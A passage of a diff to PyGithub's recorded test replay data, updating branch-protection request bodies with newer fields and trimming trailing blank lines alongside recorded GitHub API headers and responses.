!","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347083","created_at":"2012-05-18T08:59:28Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1347083},{"updated_at":"2012-05-18T10:55:55Z","position":null,"body":"Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347397","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347397","created_at":"2012-05-18T10:54:23Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347397},{"updated_at":"2012-05-18T20:11:17Z","position":3,"body":"This comment is here only to test PyGithub...","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1349654","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1349654","created_at":"2012-05-18T20:11:17Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":25,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1349654}] - diff --git a/tests/ReplayData/Branch.testEditProtection.txt b/tests/ReplayData/Branch.testEditProtection.txt index f9a6873678..fbf3e6aaf5 100644 --- a/tests/ReplayData/Branch.testEditProtection.txt +++ b/tests/ReplayData/Branch.testEditProtection.txt @@ -4,7 +4,7 @@ api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} -{"restrictions": null, "required_pull_request_reviews": {"require_code_owner_reviews": true, "required_approving_review_count": 2}, "required_status_checks": {"contexts": [], "strict": true}, "enforce_admins": null} +{"restrictions": null, "required_pull_request_reviews": {"require_code_owner_reviews": true, "required_approving_review_count": 2, "require_last_push_approval": true}, "required_status_checks": {"contexts": [], "strict": true}, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sat, 05 May 2018 06:05:54 GMT'), ('content-type', 'application/json; charset=utf-8')] '' @@ -18,5 +18,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Mon, 07 May 2018 13:42:41 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection","required_pull_request_reviews":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":true,"required_approving_review_count":2},"required_status_checks":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":[],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts"},"enforce_admins":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins","enabled":true}} - +{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection","required_pull_request_reviews":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":false,"require_code_owner_reviews":true,"required_approving_review_count":2,"require_last_push_approval":true},"required_status_checks":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":[],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts"},"enforce_admins":{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins","enabled":true}} diff --git a/tests/ReplayData/Branch.testEditProtectionDismissalUsersWithUserOwnedBranch.txt b/tests/ReplayData/Branch.testEditProtectionDismissalUsersWithUserOwnedBranch.txt index 27fead7e15..5e8b8f6dde 100644 --- a/tests/ReplayData/Branch.testEditProtectionDismissalUsersWithUserOwnedBranch.txt +++ b/tests/ReplayData/Branch.testEditProtectionDismissalUsersWithUserOwnedBranch.txt @@ -4,8 +4,7 @@ api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} -{"restrictions": null, "required_pull_request_reviews": {"dismissal_restrictions": {"users": ["jacquev6"]}}, "required_status_checks": null, "enforce_admins": null} +{"restrictions": null, "required_pull_request_reviews": {"dismissal_restrictions": {"users": ["jacquev6"]}}, "required_status_checks": null, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 422 [('status', '422 Unprocessable Entity'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sun, 13 May 2018 10:42:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#update-branch-protection","message":"Validation Failed","errors":["Only organization repositories can have users and team restrictions"]} - diff --git a/tests/ReplayData/Branch.testEditProtectionPushRestrictionsAndDismissalUser.txt b/tests/ReplayData/Branch.testEditProtectionPushRestrictionsAndDismissalUser.txt index 9ed6dafc71..99f580d3e4 100644 --- a/tests/ReplayData/Branch.testEditProtectionPushRestrictionsAndDismissalUser.txt +++ b/tests/ReplayData/Branch.testEditProtectionPushRestrictionsAndDismissalUser.txt @@ -4,7 +4,7 @@ api.github.com None /repos/PyGithub/PyGithub/branches/master/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} -{"restrictions": {"teams": [], "users": ["jacquev6"]}, "required_pull_request_reviews": {"dismissal_restrictions": {"users": ["jacquev6"]}}, "required_status_checks": null, "enforce_admins": null} +{"restrictions": {"apps": [], "teams": [], "users": ["jacquev6"]}, "required_pull_request_reviews": {"dismissal_restrictions": {"users": ["jacquev6"]}}, "required_status_checks": null, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sun, 13 May 2018 13:21:24 GMT'), ('content-type', 'application/json; charset=utf-8')] '' @@ -41,4 +41,3 @@ None 200 [('x-runtime-rack', '0.049160'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"a4ef2f2bcfdf33fadd5c8fa6867ebc3a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '860C:2DC5:28789D:34E3E8:5AF7FF18'), ('date', 'Sun, 13 May 2018 09:02:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526204223')] [] - diff --git a/tests/ReplayData/Branch.testEditProtectionPushRestrictionsWithUserOwnedBranch.txt b/tests/ReplayData/Branch.testEditProtectionPushRestrictionsWithUserOwnedBranch.txt index 154f9e3d64..39b7ec5d8a 100644 --- a/tests/ReplayData/Branch.testEditProtectionPushRestrictionsWithUserOwnedBranch.txt +++ b/tests/ReplayData/Branch.testEditProtectionPushRestrictionsWithUserOwnedBranch.txt @@ -4,8 +4,7 @@ api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} -{"restrictions": {"users": ["jacquev6"], "teams": []}, "required_pull_request_reviews": null, "required_status_checks": null, "enforce_admins": null} +{"restrictions": {"apps": [], "users": ["jacquev6"], "teams": []}, "required_pull_request_reviews": null, "required_status_checks": null, "enforce_admins": null, "allow_force_pushes": null, "allow_fork_syncing": null, "lock_branch": null, "required_conversation_resolution": null, "required_linear_history": null, "block_creations": null, "allow_deletions": null } 422 [('status', '422 Unprocessable Entity'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0dc2dfc56971f4a36de1216356ea98b"'), ('date', 'Sat, 05 May 2018 06:05:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#update-branch-protection","message":"Validation Failed","errors":["Only organization repositories can have users and team restrictions"]} - diff --git a/tests/ReplayData/Branch.testEditRequiredPullRequestReviews.txt b/tests/ReplayData/Branch.testEditRequiredPullRequestReviews.txt index 06f8454d7a..047033af16 100644 --- a/tests/ReplayData/Branch.testEditRequiredPullRequestReviews.txt +++ b/tests/ReplayData/Branch.testEditRequiredPullRequestReviews.txt @@ -19,4 +19,3 @@ None 200 [('x-runtime-rack', '0.041627'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"3488d056130a553f9c03f03ed12d07db"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '8C96:2DD0:1347823:192926E:5AF58689'), ('date', 'Fri, 11 May 2018 12:03:36 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":true,"require_code_owner_reviews":true,"required_approving_review_count":2} - diff --git a/tests/ReplayData/Branch.testGetRequiredSignatures.txt b/tests/ReplayData/Branch.testGetRequiredSignatures.txt index a6149a1609..de8f3dd554 100644 --- a/tests/ReplayData/Branch.testGetRequiredSignatures.txt +++ b/tests/ReplayData/Branch.testGetRequiredSignatures.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 18:41:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1540150652'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"dd58dd0663dbf118bceffe9dc228747e"'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.zzzax-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AA32:4C24:302E1BE:6A4FE10:5BCCC873')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures","enabled":true} - diff --git a/tests/ReplayData/Branch.testProtectedAttributes.txt b/tests/ReplayData/Branch.testProtectedAttributes.txt index c7e2c7f717..b3246290d8 100644 --- a/tests/ReplayData/Branch.testProtectedAttributes.txt +++ b/tests/ReplayData/Branch.testProtectedAttributes.txt @@ -30,4 +30,3 @@ None 200 [('content-length', '3589'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'b0ef53392caa42315c6206737946d931'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"62bfcfb47e26986d4c1a6db0bcf43cb6"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4923'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:14B59:AE47571:568E7105'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 07 Jan 2016 14:07:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1452177625')] {"name":"master","commit":{"sha":"a39c1e8b9ab601419277eefb4fbb586ded0af146","commit":{"author":{"name":"Jimmy Zelinskie","email":"jimmyzelinskie@gmail.com","date":"2015-12-16T06:29:19Z"},"committer":{"name":"Jimmy Zelinskie","email":"jimmyzelinskie@gmail.com","date":"2015-12-16T06:29:19Z"},"message":"Merge pull request #365 from PyGithub/nhomar-travis-button\n\nAdd travis button on README.","tree":{"sha":"33b533e02e45deccc832bc39813710764fb2a9d4","url":"https://api.github.com/repos/khornberg/PyGithub/git/trees/33b533e02e45deccc832bc39813710764fb2a9d4"},"url":"https://api.github.com/repos/khornberg/PyGithub/git/commits/a39c1e8b9ab601419277eefb4fbb586ded0af146","comment_count":0},"url":"https://api.github.com/repos/khornberg/PyGithub/commits/a39c1e8b9ab601419277eefb4fbb586ded0af146","html_url":"https://github.com/khornberg/PyGithub/commit/a39c1e8b9ab601419277eefb4fbb586ded0af146","comments_url":"https://api.github.com/repos/khornberg/PyGithub/commits/a39c1e8b9ab601419277eefb4fbb586ded0af146/comments","author":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"committer":{"login":"jzelinskie","id":343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","site_admin":false},"parents":[{"sha":"45c7f072e4732f89a9e756a27a4306f2f6dbd9c5","url":"https://api.github.com/repos/khornberg/PyGithub/commits/45c7f072e4732f89a9e756a27a4306f2f6dbd9c5","html_url":"https://github.com/khornberg/PyGithub/commit/45c7f072e4732f89a9e756a27a4306f2f6dbd9c5"},{"sha":"a83649b68f1bb978c254f4cf1efcae88dc2608d7","url":"https://api.github.com/repos/khornberg/PyGithub/commits/a83649b68f1bb978c254f4cf1efcae88dc2608d7","html_url":"https://github.com/khornberg/PyGithub/commit/a83649b68f1bb978c254f4cf1efcae88dc2608d7"}]},"_links":{"self":"https://api.github.com/repos/khornberg/PyGithub/branches/master","html":"https://github.com/khornberg/PyGithub/tree/master"},"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[]}}} - diff --git a/tests/ReplayData/Branch.testRemovePushRestrictions.txt b/tests/ReplayData/Branch.testRemovePushRestrictions.txt index 866fe872f6..2ee4070a69 100644 --- a/tests/ReplayData/Branch.testRemovePushRestrictions.txt +++ b/tests/ReplayData/Branch.testRemovePushRestrictions.txt @@ -19,4 +19,3 @@ None 404 [('status', '404 Not Found'), ('content-length', '126'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Sun, 13 May 2018 10:52:10 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch","message":"Push restrictions not enabled"} - diff --git a/tests/ReplayData/Branch.testRemoveRequiredSignatures.txt b/tests/ReplayData/Branch.testRemoveRequiredSignatures.txt index e64b0fda21..dd9893e262 100644 --- a/tests/ReplayData/Branch.testRemoveRequiredSignatures.txt +++ b/tests/ReplayData/Branch.testRemoveRequiredSignatures.txt @@ -7,5 +7,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 18:46:19 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1540150652'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.zzzax-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'AA48:4C25:3BECB3F:7CD7C22:5BCCC97A')] - - diff --git a/tests/ReplayData/Branch.testRemoveRequiredStatusChecks.txt b/tests/ReplayData/Branch.testRemoveRequiredStatusChecks.txt index ab723c2a96..237e021b01 100644 --- a/tests/ReplayData/Branch.testRemoveRequiredStatusChecks.txt +++ b/tests/ReplayData/Branch.testRemoveRequiredStatusChecks.txt @@ -19,4 +19,3 @@ None 404 [('status', '404 Not Found'), ('content-length', '126'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'AE1E5031:A39B:2D392574:568E6BC1'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4991'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('access-control-allow-credentials', 'true'), ('date', 'Mon, 07 May 2018 12:46:55 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1452177625')] {"documentation_url":"https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch","message":"Required status checks not enabled"} - diff --git a/tests/ReplayData/Branch.testRemoveTeamPushRestrictions.txt b/tests/ReplayData/Branch.testRemoveTeamPushRestrictions.txt index 69a822b97e..d4aac16918 100644 --- a/tests/ReplayData/Branch.testRemoveTeamPushRestrictions.txt +++ b/tests/ReplayData/Branch.testRemoveTeamPushRestrictions.txt @@ -19,4 +19,3 @@ None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:22:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}] - diff --git a/tests/ReplayData/Branch.testRemoveUserPushRestrictions.txt b/tests/ReplayData/Branch.testRemoveUserPushRestrictions.txt index 4555d3476f..b7805c8f10 100644 --- a/tests/ReplayData/Branch.testRemoveUserPushRestrictions.txt +++ b/tests/ReplayData/Branch.testRemoveUserPushRestrictions.txt @@ -19,4 +19,3 @@ None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:07:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}] - diff --git a/tests/ReplayData/Branch.testReplaceTeamPushRestrictions.txt b/tests/ReplayData/Branch.testReplaceTeamPushRestrictions.txt index 7920758fab..70dc603757 100644 --- a/tests/ReplayData/Branch.testReplaceTeamPushRestrictions.txt +++ b/tests/ReplayData/Branch.testReplaceTeamPushRestrictions.txt @@ -30,4 +30,3 @@ None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:22:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), 